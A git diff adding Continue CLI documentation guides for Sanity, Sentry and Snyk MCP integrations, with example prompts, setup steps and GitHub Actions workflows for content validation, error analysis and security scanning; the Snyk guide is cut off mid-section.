+**Prompt:**
+```
+Find all blog posts with the category "News" and update their
+status to "archived" if they are older than 6 months.
+```
+
+
+
+### Localization
+
+
+ Set up and manage content translations.
+
+**Prompt:**
+```
+Add localization support to my article document type for
+Spanish and French languages with appropriate field configurations.
+```
+
+
+
+### Content Migration
+
+
+ Migrate content between different schemas or environments.
+
+**Prompt:**
+```
+Help me migrate my blog posts from the old schema structure
+to the new one, mapping the deprecated fields to the new format.
+```
+
+
+
+### Documentation Generation
+
+
+ Automatically generate documentation for your content model.
+
+**Prompt:**
+```
+Generate comprehensive documentation for my Sanity schema including
+all document types, their purposes, field descriptions, and usage examples.
+```
+
+
+
+### Content Releases
+
+
+ Work with Sanity's content release feature.
+
+**Prompt:**
+```
+List all active releases in my dataset and show me the content
+changes scheduled for each release.
+```
+
+
+
+### Performance Analysis
+
+
+ Optimize GROQ queries for better performance.
+
+**Prompt:**
+```
+Analyze the performance of my most frequent GROQ queries and
+suggest optimizations to improve response times.
+```
+
+
+
+## Continuous Content Management with GitHub Actions
+
+ This example demonstrates a **Continuous AI workflow** where content validation and schema checks run automatically in your CI/CD pipeline in headless mode using the Sanity agent config. Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific content governance rules.
+
+### Add GitHub Secrets
+
+Navigate to **Repository Settings → Secrets and variables → Actions** and add:
+
+- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- `SANITY_PROJECT_ID`: Your Sanity project ID
+- `SANITY_DATASET`: Your Sanity dataset name (usually "production")
+- `SANITY_API_TOKEN`: Your Sanity API token with appropriate permissions
+- `MCP_USER_ROLE`: Your MCP user role (typically "admin" or "editor")
+
+
+ The workflow uses the [Sanity Assistant Agent](https://hub.continue.dev/continuedev/sanity-assistant-agent) with environment variable authentication via [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config). This enables headless mode operation without OAuth browser authentication.
+
+
+### Create Workflow File
+
+This workflow automatically validates your Sanity schemas and content on pull requests using the Continue CLI in [headless mode](/cli/overview#headless-mode%3A-production-automation). It checks schema integrity, validates content relationships, and posts a summary report as a PR comment.
+
+Create `.github/workflows/sanity-content-validation.yml` in your repository:
+
+```yaml
+name: Sanity Content Validation with MCP
+
+on:
+ pull_request:
+ branches: [main]
+ workflow_dispatch:
+
+jobs:
+ validate-content:
+ runs-on: ubuntu-latest
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ SANITY_PROJECT_ID: ${{ secrets.SANITY_PROJECT_ID }}
+ SANITY_DATASET: ${{ secrets.SANITY_DATASET }}
+ SANITY_API_TOKEN: ${{ secrets.SANITY_API_TOKEN }}
+ MCP_USER_ROLE: ${{ secrets.MCP_USER_ROLE }}
+
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Set up Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: "18"
+
+ - name: Install Sanity CLI
+ run: |
+ npm install -g @sanity/cli
+ echo "✅ Sanity CLI installed"
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Validate Schema Structure
+ run: |
+ echo "🔍 Validating schema structure..."
+ cn --agent continuedev/sanity-assistant-agent \
+ -p "Analyze the Sanity schema for any structural issues,
+ missing required fields, or broken references between document types." \
+ --auto
+
+ - name: Check Content Integrity
+ run: |
+ echo "📊 Checking content integrity..."
+ cn --agent continuedev/sanity-assistant-agent \
+ -p "Run GROQ queries to identify any orphaned documents,
+ broken references, or missing required fields in the content." \
+ --auto
+
+ - name: Generate Schema Documentation
+ run: |
+ echo "📝 Generating schema documentation..."
+ cn --agent continuedev/sanity-assistant-agent \
+ -p "Generate a markdown summary of all schema changes
+ in this PR and their potential impact on existing content." \
+ --auto > schema-changes.md
+
+ - name: Comment Report on PR
+ if: always() && github.event_name == 'pull_request'
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ run: |
+ REPORT=$( cn --agent continuedev/sanity-assistant-agent \
+ -p "Generate a concise summary (200 words or less) of:
+ - Schema validation results
+ - Content integrity checks
+ - Any breaking changes detected
+ - Recommended actions before merging" \
+ --auto)
+
+ gh pr comment ${{ github.event.pull_request.number }} --body "$REPORT"
+```
+
+
+ Environment variables enable the MCP to authenticate without OAuth browser prompts. The [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) documentation provides detailed setup instructions for all required variables.
+
+
+## Content Management Best Practices
+
+Implement automated content quality checks using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips.
+
+
+ ```bash
+ "Before deploying schema changes, validate that all required fields
+ are present and that no breaking changes affect existing content."
+ ```
+
+
+
+ ```bash
+ "When creating new content types, ensure they follow the existing
+ naming conventions and field patterns established in the schema."
+ ```
+
+
+
+ ```bash
+ "Review GROQ queries for performance issues and suggest indexes
+ or query restructuring to improve response times."
+ ```
+
+
+
+ ```bash
+ "Ensure all user-facing content fields have proper localization
+ support configured for the required languages."
+ ```
+
+
+## Troubleshooting
+
+### Authentication Issues
+
+```bash
+"Check if I'm properly authenticated with Sanity.
+If not, help me set up OAuth or API token authentication."
+```
+
+### Schema Not Found
+
+```bash
+"Verify that the Sanity project is properly configured
+and that the schema files are accessible in the current directory."
+```
+
+### GROQ Query Errors
+
+```bash
+"Debug this GROQ query and explain why it's failing,
+then provide a corrected version that achieves the intended result."
+```
+
+### Migration Conflicts
+
+
+ **Verification Steps:**
+ - Sanity MCP is installed via [Continue Hub](https://hub.continue.dev/sanity/sanity-mcp)
+ - Project is authenticated with Sanity
+ - Schema files are present and valid
+ - Dataset permissions are correctly configured
+
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered content management system** that:
+
+- ✅ Uses natural language — Simple prompts instead of complex CMS commands
+- ✅ Manages schemas automatically — AI handles schema evolution and migrations
+- ✅ Runs continuously — Automated validation in CI/CD pipelines
+- ✅ Ensures quality — Content checks prevent broken references and invalid data
+
+
+ Your content management workflow now operates at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine content operations and schema management with human oversight
+ through review and approval of changes.
+
+
+## Next Steps
+
+1. **Explore your schema** - Try the schema exploration prompt on your current project
+2. **Run GROQ queries** - Use natural language to query your content
+3. **Set up CI validation** - Add the GitHub Actions workflow to your repo
+4. **Create documentation** - Generate comprehensive docs for your content model
+5. **Optimize performance** - Analyze and improve query performance
+
+## Additional Resources
+
+
+
+ Complete Sanity platform documentation
+
+
+ Explore more MCP integrations and agents
+
+
+ Learn GROQ query language
+
+
+ Official Sanity MCP introduction with examples
+
+
+ Official Sanity MCP documentation
+
+
\ No newline at end of file
diff --git a/docs/guides/sentry-mcp-error-monitoring.mdx b/docs/guides/sentry-mcp-error-monitoring.mdx
new file mode 100644
index 000000000..18abea69d
--- /dev/null
+++ b/docs/guides/sentry-mcp-error-monitoring.mdx
@@ -0,0 +1,538 @@
+---
+title: "Automated Error Analysis with Sentry MCP"
+description: "Build an AI-powered error monitoring workflow that analyzes Sentry issues, identifies patterns, and creates actionable GitHub issues automatically."
+sidebarTitle: "Sentry Automated Error Analysis with MCP"
+---
+
+
+ An automated error monitoring system that uses Continue CLI with Sentry MCP to analyze production errors, identify root causes with AI, and create detailed GitHub issues with suggested fixes.
+
+
+## What You'll Learn
+
+This cookbook teaches you to:
+
+- Use [Sentry MCP](https://docs.sentry.io/product/sentry-mcp/) to access [issues](https://docs.sentry.io/product/issues/)
+- Analyze error patterns and stack traces with AI
+
+- Automatically create GitHub issues with root cause analysis
+- Set up continuous error monitoring with GitHub Actions
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- GitHub repository where you want to create issues
+- [Sentry account](https://sentry.io) with an active project collecting errors
+- Node.js 18+ installed locally
+- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage)
+- [GitHub CLI](https://cli.github.com/) installed (`gh` command)
+
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ 1. Visit [Continue Organizations](https://hub.continue.dev/settings/organizations)
+ 2. Sign up or log in to your Continue account
+ 3. Navigate to your organization settings
+ 4. Click **"API Keys"** and then **"+ New API Key"**
+ 5. Copy the API key immediately (you won't see it again!)
+ 6. Login to the CLI: `cn login`
+
+
+
+
+ Continue CLI handles complex error analysis and API interactions - you just need to provide the right prompts!
+
+
+## Step 1: Set Up Your Credentials
+
+First, you'll need to gather your Sentry and GitHub API credentials.
+
+
+
+
+
+ See [Sentry MCP Documentation](https://docs.sentry.io/product/sentry-mcp/) for detailed configuration options
+
+
+ The Sentry MCP supports multiple configuration methods. For Continue CLI, OAuth is recommended:
+
+ **Option 1: OAuth Configuration (Recommended)**
+
+ The Sentry MCP will prompt for OAuth authentication when first used. Simply follow the authorization flow.
+
+ **Option 2: STDIO Mode with Auth Token**
+
+ For local development or self-hosted Sentry installations, you can use STDIO mode:
+ ```bash
+ npx @sentry/mcp-server@latest --access-token=YOUR_SENTRY_TOKEN --host=sentry.io
+ ```
+
+ Or use environment variables:
+ ```bash
+ SENTRY_ACCESS_TOKEN=your-token SENTRY_HOST=sentry.io
+ ```
+
+
+ The `--host` parameter is required and should point to your Sentry instance (e.g., `sentry.io` or `sentry.example.com` for self-hosted).
+
+
+
+
+ You'll need a **Sentry User Auth Token** to access issues and error data:
+
+ 1. Go to [User Auth Tokens](https://sentry.io/settings/account/api/auth-tokens/) in Sentry
+ - For self-hosted Sentry, use: `https://YOUR-SENTRY-DOMAIN/settings/account/api/auth-tokens/`
+ 2. Click **Create New Token**
+ 3. Name it "Continue CLI Error Analysis"
+ 4. **Select these permission scopes** (required for full functionality):
+ - `org:read` - **Required** - Access organization information
+ - `project:read` - **Required** - Read project configurations
+ - `project:releases` - **Required** - Access release information for deployment tracking
+ - `event:read` - **Required** - Read detailed error event data and stack traces
+ - `event:write` - Optional - Update error events (for marking as resolved)
+ - `member:read` - Recommended - Read team member information for auto-assignment
+ - `team:read` - Recommended - Access team data for routing issues
+ 5. Copy the token immediately (you won't see it again!)
+ 6. Note your organization slug (found in your Sentry URL: `https://sentry.io/organizations/YOUR-ORG-SLUG`)
+ 7. Note your Sentry host URL (typically `https://sentry.io` or your self-hosted domain)
+
+
+ **Sentry MCP Connection**: The MCP server connects via OAuth to `https://mcp.sentry.dev/mcp` and handles authentication securely. For local development, you can use STDIO mode with your auth token.
+
+
+
+
+ GitHub CLI handles authentication automatically - no manual PAT needed:
+
+ 1. Install GitHub CLI if not already installed
+ 2. Run `gh auth login` and follow the prompts
+ 3. Choose authentication method (browser or token)
+ 4. Grant necessary permissions when prompted (`issues:write` is **required** for creating issues)
+
+
+
+## Sentry Error Monitoring Workflow Options
+
+
+ Skip the manual setup and use our pre-built Sentry Continuous AI agent that includes
+ optimized prompts, rules, and the Sentry MCP for more consistent results.
+
+
+
+ **How Sentry MCP Works**:
+ - Connects to your Sentry organization via OAuth
+ - Provides tools for accessing issues, projects, teams, and DSNs
+ - Supports both hosted (`https://mcp.sentry.dev`) and self-hosted Sentry instances
+ - Automatically handles authentication and API interactions
+
+
+
+
+ **Perfect for:** Immediate error analysis with AI-powered root cause detection and built-in debugging
+
+
+
+ Visit the [Sentry Continuous AI Agent](https://hub.continue.dev/continuedev/sentry-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run:
+
+ ```bash
+ cn --agent continuedev/sentry-continuous-ai-agent
+ ```
+
+ This agent includes:
+ - **Optimized prompts** for Sentry error analysis and GitHub issue creation
+ - **Built-in rules** for consistent formatting and error handling
+ - **[Sentry MCP](https://docs.sentry.io/product/sentry-mcp/)** for more reliable API interactions
+ - **Automatic authentication** via OAuth flow
+
+
+
+ Navigate to your project directory and enter this prompt in the Continue CLI TUI:
+
+ ```
+ Analyze recent Sentry errors and create GitHub issues for critical bugs with suggested fixes
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Sentry MCP integration and pre-tested prompts.
+
+
+
+
+
+
+
+ Configure the [Sentry MCP](https://docs.sentry.io/product/sentry-mcp/) using OAuth:
+
+ The MCP server will automatically prompt for OAuth authentication when you first use it.
+
+
+
+ Test your Sentry MCP connection with this prompt:
+
+ ```
+ List my Sentry organizations and projects
+ ```
+
+
+
+ Use this prompt template with Continue CLI to analyze Sentry errors:
+
+ ```
+ Analyze Sentry errors from the past 24 hours:
+ - Group errors by root cause
+ - Identify the top 5 most critical issues by frequency and impact
+ - For each critical issue, provide:
+ * Stack trace analysis
+ * Affected user count
+ * First seen and last seen timestamps
+ * Suggested fix based on error context
+ - Create GitHub issues using gh CLI with:
+ * Title format: '🐛 [Sentry] [Error Type]: Brief description'
+ * Labels: 'bug', 'sentry', 'production'
+ * Priority labels based on severity
+ * Full error context and suggested fix in the body
+ Execute the commands and confirm each issue was created.
+ ```
+
+
+
+
+
+
+
+ **Why GitHub CLI over GitHub MCP**: While GitHub MCP is available, it can be
+ token-expensive to run. The `gh` CLI is more efficient, requires no API tokens
+ (authenticated via `gh auth login`), and provides a cleaner command-line
+ experience. GitHub MCP remains an option if you prefer full MCP integration.
+
+
+
+ To use the pre-built agent, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets (same as Step 1)
+
+ The agent will automatically detect and use your configuration. For Sentry MCP:
+ - **Sentry account** with at least one project
+ - **User Auth Token** with appropriate scopes (or OAuth flow)
+ - The MCP works with both Sentry's hosted service (`sentry.io`) and self-hosted instances
+
+
+---
+
+
+ **Repository Labels Required**: Make sure your GitHub repository has these labels:
+ - `bug`, `sentry`, `production`
+ - `critical`, `high-priority`, `medium-priority`, `low-priority`
+ - `needs-investigation`, `has-fix`
+
+ Create missing labels in your repo at: **Settings → Labels → New label**
+
+
+## Step 2: Analyze Sentry Errors with AI
+
+Use Continue CLI to perform intelligent error analysis. Enter these prompts in the Continue CLI TUI:
+
+
+To run any of the example prompts below in headless mode, use `cn -p "prompt"`
+
+
+
+
+ **Prompt:**
+ ```
+ Show me Sentry errors from the past 7 days, grouped by error type, with frequency counts
+ ```
+
+
+
+ **Prompt:**
+ ```
+ Find the most critical Sentry error affecting the most users in production and provide:
+ - Full stack trace analysis
+ - Affected user count and browser/OS breakdown
+ - Timeline of when the error started occurring
+ - Similar historical issues from Sentry
+ - Root cause hypothesis based on code context
+ - Suggested fix with code examples
+ ```
+
+
+
+ **Prompt:**
+ ```
+ Analyze Sentry performance data to identify:
+ - Slowest transactions in the past 24 hours
+ - Database queries with high latency
+ - API endpoints with degraded performance
+ - Suggested optimizations for each issue
+ ```
+
+
+
+
+ **Available Sentry MCP Tools**:
+ - **Organizations**: Access org-level data and settings
+ - **Projects**: Query projects and their configurations
+ - **Issues**: Search and analyze error issues
+ - **Teams**: Manage team assignments
+ - **DSNs**: Retrieve project DSN configurations
+
+
+
+## Step 3: Automate GitHub Issue Creation
+
+Create actionable GitHub issues from Sentry errors. Enter this prompt in the Continue CLI TUI:
+
+**Prompt:**
+```
+For each unresolved Sentry error with 'critical' or 'high' severity:
+1. Analyze the error using Sentry MCP
+2. Create a GitHub issue with gh CLI:
+ - Title: '🐛 [Sentry] [Error Type]: Brief description'
+ - Body with:
+ * Error summary and impact (affected users, frequency)
+ * Full stack trace
+ * Environment details (browser, OS, release version)
+ * Link to Sentry issue
+ * Root cause analysis from AI
+ * Suggested fix with code snippets
+ * Related Sentry issues
+ - Labels: 'bug', 'sentry', 'production', and severity label
+ - Assignees: Team member based on code ownership
+3. Update Sentry issue with GitHub issue link
+4. Confirm creation with GitHub issue URL
+```
+
+
+ **Best Practice**: Link GitHub issues back to Sentry for full traceability. This creates a bidirectional connection between your error monitoring and issue tracking.
+
+
+## Step 4: Set Up Continuous Monitoring with GitHub Actions
+
+Automate error monitoring with the [Sentry Release GitHub Action](https://docs.sentry.io/product/releases/setup/release-automation/github-actions/) and Continue CLI to create comprehensive, AI-powered issue descriptions:
+
+
+ **Why Combine Sentry Releases with Continue CLI?**
+ - **Release Tracking**: Associate errors with specific deployments
+ - **AI-Powered Analysis**: Continue CLI generates detailed issue descriptions with root cause analysis
+ - **Better Context**: Link errors to commits and pull requests
+ - **Automated Workflows**: Create issues with full stack traces and suggested fixes
+
+
+```yaml
+name: Sentry Error Monitoring
+
+on:
+ push:
+ branches:
+ - main
+ schedule:
+ # Run every 6 hours
+ - cron: "0 */6 * * *"
+ workflow_dispatch: # Allow manual triggers
+
+jobs:
+ monitor-errors:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ with:
+ fetch-depth: 0
+
+ - uses: actions/setup-node@v4
+ with:
+ node-version: "22"
+
+ # Create Sentry release for better error tracking
+ - name: Create Sentry release
+ uses: getsentry/action-release@v1
+ env:
+ SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
+ SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
+ SENTRY_PROJECT: ${{ secrets.SENTRY_PROJECT }}
+ with:
+ environment: production
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Authenticate GitHub CLI
+ run: |
+ echo "${{ secrets.GITHUB_TOKEN }}" | gh auth login --with-token
+ echo "✅ GitHub CLI authenticated"
+
+ - name: Analyze Sentry Errors and Create Issues
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
+ SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
+ SENTRY_PROJECT: ${{ secrets.SENTRY_PROJECT }}
+ run: |
+ echo "🔍 Analyzing Sentry errors..."
+
+ # Use Continue CLI to analyze errors and generate comprehensive issue descriptions
+ cn -p "Using Sentry MCP, analyze errors from the past 6 hours for project $SENTRY_PROJECT:
+ 1. Filter for unresolved errors with high or critical severity
+ 2. Group similar errors to avoid duplicates
+ 3. For each unique critical error:
+ - Generate a comprehensive issue description including:
+ * Error summary with frequency and user impact metrics
+ * Full stack trace with highlighted problem areas
+ * Environment details (browser, OS, release version)
+ * Link to Sentry issue dashboard
+ * Root cause analysis using AI
+ * Step-by-step reproduction if available
+ * Suggested fix with code examples
+ * Related errors or patterns
+ - Check if a GitHub issue already exists for this error
+ - If not, create a new issue with the generated description
+ - Use gh CLI: gh issue create --title '[Sentry] [Error Type]: Brief description' --body 'AI-generated comprehensive analysis' --label 'bug,sentry,critical,needs-investigation'
+ - Link the GitHub issue back to Sentry
+ 4. Generate a summary report with:
+ - Total errors analyzed
+ - New issues created with URLs
+ - Errors skipped (already tracked)
+ - Release correlation if available
+
+ Sentry Organization: $SENTRY_ORG
+ Project: $SENTRY_PROJECT
+ Only process errors not already tracked in GitHub."
+
+ - name: Post workflow summary
+ if: always()
+ run: |
+ echo "## 📊 Sentry Error Monitoring Summary" >> $GITHUB_STEP_SUMMARY
+ echo "✅ Workflow completed at $(date)" >> $GITHUB_STEP_SUMMARY
+ echo "" >> $GITHUB_STEP_SUMMARY
+ echo "Check the 'Analyze Sentry Errors' step above for:" >> $GITHUB_STEP_SUMMARY
+ echo "- Number of errors analyzed" >> $GITHUB_STEP_SUMMARY
+ echo "- GitHub issues created" >> $GITHUB_STEP_SUMMARY
+ echo "- Errors already tracked" >> $GITHUB_STEP_SUMMARY
+```
+
+
+ **Required GitHub Secrets**:
+ - `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+ - `SENTRY_AUTH_TOKEN`: Your Sentry User Auth Token (needs scopes: `org:read`, `project:read`, `project:releases`, `event:read`)
+ - `SENTRY_ORG`: Your Sentry organization slug
+ - `SENTRY_PROJECT`: Your Sentry project slug
+ - `GITHUB_TOKEN`: Automatically provided by GitHub Actions
+
+ Add these at: **Repository Settings → Secrets and variables → Actions**
+
+
+
+ **Workflow Best Practices**:
+ - Run every 6 hours to catch critical errors quickly
+ - Create Sentry releases on push to track error-to-deployment correlation
+ - Use Continue CLI to generate comprehensive, AI-powered issue descriptions
+ - Use duplicate detection to avoid creating multiple issues for the same error
+ - Filter by severity to focus on high-impact issues
+ - Include full error context and suggested fixes in issues
+ - Tag issues with appropriate labels for team routing
+ - Link GitHub issues back to Sentry for bidirectional tracking
+
+
+## What You've Built
+
+After completing this guide, you have a complete **Sentry-powered error monitoring system** that:
+
+- **Monitors production errors** - Automatically fetches and analyzes Sentry issues every 6 hours
+
+- **Identifies critical bugs** - Uses AI to spot high-impact errors
+
+- **Creates actionable tasks** - Generates GitHub issues with root cause analysis and suggested fixes
+
+- **Runs autonomously** - Operates continuously without manual intervention using GitHub Actions
+
+- **Scales with your app** - Handles growing error volumes and complexity automatically
+
+
+ Your system now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine error analysis with human oversight through GitHub issue review and resolution.
+
+
+## Advanced Error Analysis Prompts
+
+Enhance your workflow with these advanced Continue CLI prompts:
+
+
+
+ Compare error rates before and after the latest [Sentry release](https://docs.sentry.io/product/releases/) to identify regressions introduced in the deployment
+
+
+ Analyze Sentry error trends over the past 30 days and identify emerging issues before they become critical
+
+
+ Identify which errors are affecting the most unique users and prioritize fixes based on user impact
+
+
+ Cross-reference Sentry [performance issues](https://docs.sentry.io/product/performance/) with error spikes to identify root causes
+
+
+
+## Security Best Practices
+
+
+ **Protect Your API Keys**:
+ - Store all credentials as GitHub Secrets, never in code
+ - Use Continue CLI's secure secret storage
+ - Limit Sentry token scopes to minimum required permissions
+ - Rotate API keys regularly (every 90 days recommended)
+ - Monitor token usage for unusual activity
+ - Use OAuth when possible for better security
+
+
+## Troubleshooting
+
+### Sentry MCP Connection Issues
+
+If you encounter connection issues:
+
+1. Verify OAuth authentication is complete
+2. Check your Sentry organization access
+3. Ensure the MCP server URL is correct (`https://mcp.sentry.dev/mcp`)
+4. For self-hosted Sentry, verify your host URL is configured correctly
+
+See the [Sentry MCP GitHub Issues](https://github.com/getsentry/sentry-mcp/issues) for known issues and solutions.
+
+### Common Error Analysis Issues
+
+| Issue | Solution |
+|:------|:---------|
+| No errors returned | Verify your Sentry project has collected errors recently |
+| OAuth prompt not appearing | Check that Continue CLI has proper MCP configuration |
+| Duplicate GitHub issues | Implement duplicate detection in your prompts |
+| Missing error context | Ensure your Sentry token has `event:read` scope |
+
+## Next Steps
+
+
+- Set up [Sentry performance monitoring](https://docs.sentry.io/product/performance/)
+- Configure [Sentry release tracking](https://docs.sentry.io/product/releases/) for deployment correlation
+- Integrate [Slack MCP](https://hub.continue.dev/slack/slack-mcp) for error alerts
+- Join the [Continue Discord](https://discord.gg/continue) for support
+
+## Resources
+
+- [Sentry MCP Documentation](https://docs.sentry.io/product/sentry-mcp/)
+- [Sentry API Documentation](https://docs.sentry.io/api/)
+- [Sentry Issues Guide](https://docs.sentry.io/product/issues/)
+- [Sentry Performance Monitoring](https://docs.sentry.io/product/performance/)
+- [Sentry Release Tracking](https://docs.sentry.io/product/releases/)
+
+- [Sentry MCP GitHub Repository](https://github.com/getsentry/sentry-mcp)
+- [GitHub CLI Documentation](https://cli.github.com/)
+- [Continue CLI Guide](https://docs.continue.dev/guides/cli)
+- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)
diff --git a/docs/guides/snyk-mcp-continue-cookbook.mdx b/docs/guides/snyk-mcp-continue-cookbook.mdx
new file mode 100644
index 000000000..efc900a29
--- /dev/null
+++ b/docs/guides/snyk-mcp-continue-cookbook.mdx
@@ -0,0 +1,707 @@
+---
+title: "Automated Security Scanning with Snyk MCP and Continue"
+description: "Set up an AI-powered security workflow that automatically scans your code, dependencies, infrastructure, and containers using natural language commands."
+sidebarTitle: "Snyk Security Scanning with Continue"
+---
+
+
+ An automated security scanning system that uses Continue's AI agent with Snyk
+ MCP to identify vulnerabilities in code, dependencies, infrastructure, and
+ containers - all through simple natural language prompts
+
+
+## Demo Video
+
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+- Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs)
+- Node.js 18+ installed locally
+- [Snyk account](https://snyk.io/) (free tier works)
+- A local project to scan for vulnerabilities
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+
+ 1. Sign up for a Snyk account at [snyk.io](https://snyk.io/)
+ 2. Create a new project in Snyk by importing your code repository (Git
+ provider or manual upload)
+ 3. Install and authenticate the Snyk CLI locally:
+ ```bash
+ npm install -g snyk
+ snyk auth
+ ```
+ This will open your browser to authenticate with your Snyk account.
+
+
+
+
+ **Important**: The Snyk MCP requires the Snyk CLI to be authenticated locally. Run `snyk auth` to authenticate before using the Continue agent with Snyk MCP.
+
+
+ To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys).
+
+
+## Snyk Continuous AI Workflow Options
+
+
+ Skip the manual setup and use our pre-built Snyk Continuous AI agent that includes
+ the Snyk MCP and optimized security scanning workflows for more consistent results.
+
+
+
+After ensuring you meet the **Prerequisites** above, you have two paths to get started:
+
+
+
+
+
+ Navigate to your project directory and run:
+ ```bash
+ cn --agent continuedev/snyk-continuous-ai-agent
+ ```
+
+ This agent includes:
+ - **Snyk MCP** pre-configured and ready to use
+ - **Security-focused rules** for best practices
+
+
+
+ From your project directory, start with a comprehensive security scan:
+ ```bash
+ # Headless mode
+ cn -p "Run a complete security scan on this project including code vulnerabilities, dependencies, and any IaC files. Summarize findings by severity." --auto
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** The pre-built agent provides consistent security scanning workflows and handles MCP configuration automatically, making it easier to get started with AI-powered security scanning.
+
+
+
+
+
+
+
+ Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent).
+
+
+
+ Visit the [Snyk Continuous AI Agent](https://hub.continue.dev/continuedev/snyk-continuous-ai-agent) and click **Install** to add it to the agent you created in the step above.
+
+ This will add Snyk MCP to your agent's available tools. The Hub listing automatically configures the MCP command:
+ ```bash
+ npx -y snyk@latest mcp -t stdio
+ ```
+
+
+ **Alternative installation methods:**
+ 1. **Quick CLI install**: `cn --mcp snyk/snyk-mcp`
+ 2. **Manual configuration**: Add the MCP to your `~/.continue/config.json` under the `mcpServers` section
+
+ Once installed, Snyk MCP tools become available to your Continue agent for all prompts.
+
+
+
+ The MCP will request authentication and folder trust permissions when first used.
+ This is handled automatically by the Continue agent.
+
+
+
+
+
+ Install the [Snyk Secure-at-Inception rules](https://hub.continue.dev/snyk/secure-at-inception) from the Hub to enable automatic security scanning.
+
+ **How to add rules to your agent:**
+ 1. Visit the rules link above and click **Install**
+ 2. The rules will be added to your agent configuration automatically
+ 3. Rules apply globally to all your Continue sessions
+
+ These rules configure your agent to:
+ - **Run [SAST](https://snyk.io/learn/application-security/sast/) scans** on newly generated or modified code
+ - **Check dependencies** when adding or updating packages
+ - **Auto-fix issues** using Snyk's recommendations, then rescan
+
+
+
+
+ Start with a comprehensive security scan:
+ ```bash
+ # TUI mode
+ cn "Run a complete security scan on this project including code vulnerabilities, dependencies, and any IaC files. Summarize findings by severity."
+ ```
+
+
+
+
+
+
+
+ To use the pre-built agent, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets (same as manual setup)
+
+ The agent will automatically detect and use your configuration along with the pre-configured Snyk MCP for security scanning operations.
+
+
+
+---
+
+## Security Scanning Recipes
+
+Now you can use natural language prompts to run comprehensive security scans. The Continue agent automatically calls the appropriate Snyk MCP tools.
+
+
+You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section.
+
+
+
+ **Where to run these workflows:**
+ - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs
+ - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts
+ - **CLI (headless mode)**: Use `cn -p "your prompt" --auto` for headless commands
+
+ **Test in Plan Mode First**: Before running security scans that might make
+ changes, test your prompts in plan mode (see the [Plan Mode
+ Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This
+ shows you what the agent will do without executing it. For example: `"Run a
+ Snyk Code scan and fix the top 3 issues"`
+
+
+### Code Vulnerability Scanning ([SAST](https://snyk.io/learn/application-security/sast/))
+
+
+ Scan your source code for security vulnerabilities and code quality issues.
+
+**TUI Mode Prompt:**
+```
+Run a Snyk Code scan on this repo with severity threshold medium.
+Summarize issues with file:line. Propose minimal diffs for the top 3
+and rerun to verify.
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Run a Snyk Code scan on this repo with severity threshold medium. Summarize issues with file:line. Propose minimal diffs for the top 3 and rerun to verify." --auto
+```
+
+
+
+### Dependency Scanning ([SCA](https://snyk.io/learn/software-composition-analysis-sca/))
+
+
+ Check open source dependencies for known vulnerabilities.
+
+**TUI Mode Prompt:**
+```
+Run Snyk Open Source on this repo (include dev deps).
+Summarize vulnerable paths and propose a minimal-risk upgrade plan.
+Re-test after the plan (dry run).
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Run Snyk Open Source on this repo (include dev deps). Summarize vulnerable paths and propose a minimal-risk upgrade plan. Re-test after the plan (dry run)." --auto
+```
+
+
+
+### Infrastructure as Code ([IaC](https://snyk.io/learn/infrastructure-as-code-iac/))
+
+
+ Scan Terraform, CloudFormation, and Kubernetes configs for misconfigurations.
+
+**TUI Mode Prompt:**
